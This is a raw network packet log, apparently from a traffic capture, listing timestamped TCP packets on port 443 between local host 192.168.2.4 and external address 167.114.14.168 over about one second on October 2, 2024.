Oct 2, 2024 06:10:18.928755999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.928790092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.929164886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.929178953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.929236889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.929244041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.930010080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.930027962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.930068970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.930074930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.930104971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.934864044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.934889078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.934961081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.934967995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.976763010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.018069983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018090963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018156052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018197060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018201113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.018208981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018228054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.018271923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.018713951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018753052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018790960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.018795013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.018865108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.019259930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.019279003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.019315004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.019320965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.019355059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.019593954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.019609928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.019670010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.019675970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020231009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020253897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020289898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.020293951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020329952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.020673990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020704985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020756960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.020762920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.020788908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.027671099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.027693987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.027755976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.027760029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.027784109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.070492983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.108701944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.108721972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.108791113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.108808041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.108967066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.108985901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.109024048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.109030962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.109047890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.109076977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.109575987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.109591007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.109639883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.109644890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.109678984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110047102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110061884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110102892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110110044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110121965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110145092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110388041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110405922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110445023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110450029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110475063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110490084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110846043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110861063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.110913992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.110918999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.111351013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.111371994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.111403942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.111408949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.111433983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.111458063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.118424892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.118447065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.118514061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.118519068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.118561029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.120640993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.199670076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.199690104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.199776888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.199790955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.200038910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.200058937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.200098038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.200103045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.200125933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.200155973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.201524973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201544046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201597929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.201602936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201733112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201750994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201792955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.201796055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.201823950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.201849937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.202172995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.202188015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.202243090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.202248096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.202619076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.202637911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.202691078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.202697039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.203110933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.203284025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.203299999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.203341007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.203345060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.203373909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.203396082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.209856987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.209872961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.209930897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.209935904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.209983110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.290064096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.290081978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.290169001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.290177107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.290432930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.290452957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.290508032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.290513992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291351080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291374922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291416883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.291424036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291467905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.291490078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.291665077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291681051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291729927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.291735888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291954041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.291971922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.292006016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.292011976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.292037964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.292062998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.296986103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297000885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297070026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.297075033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297262907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297280073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297321081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.297326088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.297350883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.297375917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.302129984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.302145004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.302201033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.302206039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.305598021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.395782948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.395797968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.395857096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.395870924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.395914078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.397408009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.397425890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.397489071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.397495031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.397574902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.399286985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.399303913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.399343014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.399348021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.399408102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.400022030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.400038004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.400084019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.400089979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.400113106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.400130987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.402523041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.402539968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.402587891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.402594090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.402631998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.406977892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.406994104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.407042027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.407048941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.407098055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.407990932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.408005953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.408060074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.408066034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.408221960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.411835909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.411853075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.411900997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.411910057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.411961079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.412026882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.504178047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.504194975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.504302025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.504316092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.504904985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.504925966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.504976988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.504981995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.505000114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.505034924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.507242918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507257938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507323980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.507328033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507498980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507515907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507563114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.507569075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507932901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.507946968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508035898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.508039951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508230925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508248091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508282900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.508287907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508310080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.508336067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.508573055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508586884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.508646011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.508651972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.509145021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.509166002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.509222984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.509232044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.509252071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.509280920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.594636917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.594652891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.594813108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.594824076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.595108032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.595453024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.595468044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.595530033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.595535994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.595660925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598104954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598119974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598186016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598191023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598299980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598417044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598431110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598479033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598483086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598609924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598746061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598761082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598800898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598805904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.598831892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598850012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.598987103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599000931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599066019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.599070072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599185944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.599302053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599318027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599366903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.599370956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599487066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.599632978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599651098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599699020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.599706888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.599817991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.685616016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.685636044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.685739040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.685764074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.685854912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.686147928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.686163902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.686220884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.686227083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.686351061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.688743114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.688760042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.688813925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.688819885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.688937902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.688971996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.688987017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689021111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689026117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689049959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689235926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689305067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689337015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689398050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689404011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689527988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689610958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689625025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689661980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689666033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689824104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689850092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689866066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689907074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:19.689912081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:19.689941883 CEST	49744	443	192.168.2.4	167.114.14.168
